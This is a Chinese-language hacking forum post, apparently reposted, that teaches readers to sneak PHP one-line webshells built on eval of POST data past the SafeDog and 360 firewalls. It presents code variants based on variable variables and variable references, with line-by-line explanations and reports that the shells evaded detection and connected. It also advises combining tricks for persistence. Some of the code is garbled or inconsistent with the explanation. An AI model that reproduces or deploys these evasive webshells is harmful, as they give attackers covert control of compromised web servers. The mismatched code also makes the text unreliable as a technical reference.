來源;http://bbs.ichunqiu.com/thread-9012-1-1.html?from=ch
00x01安全狗的確是讓人很頭痛,尤其是在上傳一句話或者寫入一句話的時(shí)候,會(huì)被安全狗攔截從而拿不下shell。
當(dāng)然,安全狗是最簡(jiǎn)單的一款waf,很容易就進(jìn)行一個(gè)繞過。
00x02
對(duì)于繞過安全狗跟360,我姿勢(shì)不多,但是卻很實(shí)用為以下兩種
1.#可變變量
2.#引用變量
00x03
##可變變量(菜刀可能報(bào)錯(cuò))
<@eval($_POST['x'])
復(fù)制代碼
經(jīng)常使用的人都知道,只是最簡(jiǎn)單的一句話,不過任何waf與規(guī)則
我們先來加入需要的函數(shù)
$a='b';
$b=$_POST['x'];
@eval($a);
復(fù)制代碼
我們先來測(cè)試下是否被殺

可以看見,是成功過了安全狗,我們來測(cè)試下連接

并且成功可以連接
代碼分析#
$a='b';
$b=$_POST['x'];
@eval($a);
?>
復(fù)制代碼
我們來看第二行代碼
$a='b';
復(fù)制代碼
知道可變變量的人應(yīng)該都能看懂吧,第三行$$a中的$a是b,也可以這么說$a替換成b。
繼續(xù)看第三行
$b=$_POST['x'];
復(fù)制代碼
根據(jù)第一行知道$$a就是$b,$b用來接收post 提交的數(shù)據(jù)
最后第四行
@eval($a);
復(fù)制代碼
執(zhí)行$$a相當(dāng)于執(zhí)行了$a也就是$b. 最后,我們整合成一句話
復(fù)制代碼
總結(jié)
1#??可變變量比較靈活對(duì)于過狗也比較簡(jiǎn)單
2#??不過D盾只適合安全狗與360針對(duì)性比較高
00x04
##引用變量
<@eval($_POST['x'])
復(fù)制代碼
還是原始一句話,我先寫出寫好的代碼
$a=$_POST['x'];
$b=&$a;
@eval($b);
?>
復(fù)制代碼
我們繼續(xù)測(cè)試下是否被殺,

可以看見,一樣過了安全狗,我們繼續(xù)測(cè)試下是否可以連接

可以看見,已經(jīng)連接上了,并且可以進(jìn)行操作。
##代碼分析
$a=$_POST['x'];
$b=&$a;
@eval($b);
?>
復(fù)制代碼
我們來看第二行代碼
$a=$_POST['x'];
復(fù)制代碼
$a用來接收post提交的數(shù)據(jù)
繼續(xù)看第三行代碼
$b=&$a;
復(fù)制代碼
$b引用了$a的內(nèi)存地址間接的相當(dāng)于$b接收了post提交的數(shù)據(jù)
最后第四行代碼:
@eval($b);
復(fù)制代碼
執(zhí)行$b。最后我們來整合成一句話
復(fù)制代碼
總結(jié)(與可變變量一樣)
1#??可變變量比較靈活對(duì)于過狗也比較簡(jiǎn)單
2#??不過D盾只適合安全狗與360針對(duì)性比較高
00x05
大總結(jié)
1#??了解其原理,一味的抄寫在安全狗更新時(shí)無法能夠獨(dú)立編寫
2#??活學(xué)活用,多種方式結(jié)合可寫出各種變態(tài)一句話,從而達(dá)到持久等效果
3#??多多與人交流,交流乃學(xué)習(xí)不可缺少的根本,共享思路結(jié)合思路,便可以稱為一個(gè)大牛。4#??安全狗只是一個(gè)很簡(jiǎn)單的waf,不能止步于此,低調(diào)發(fā)展尋求高傲的技術(shù)
00x06
1#當(dāng)然,我只列出的是一部分,還有許多的方式,例如函數(shù)替換,關(guān)鍵字拆分,雙變量等方式。
2#第一次寫文章,可能寫的不是很好,有建議者可以評(píng)論點(diǎn)出,萬分感謝。
3#日后我會(huì)分享過waf注入的思路,請(qǐng)大家多多支持!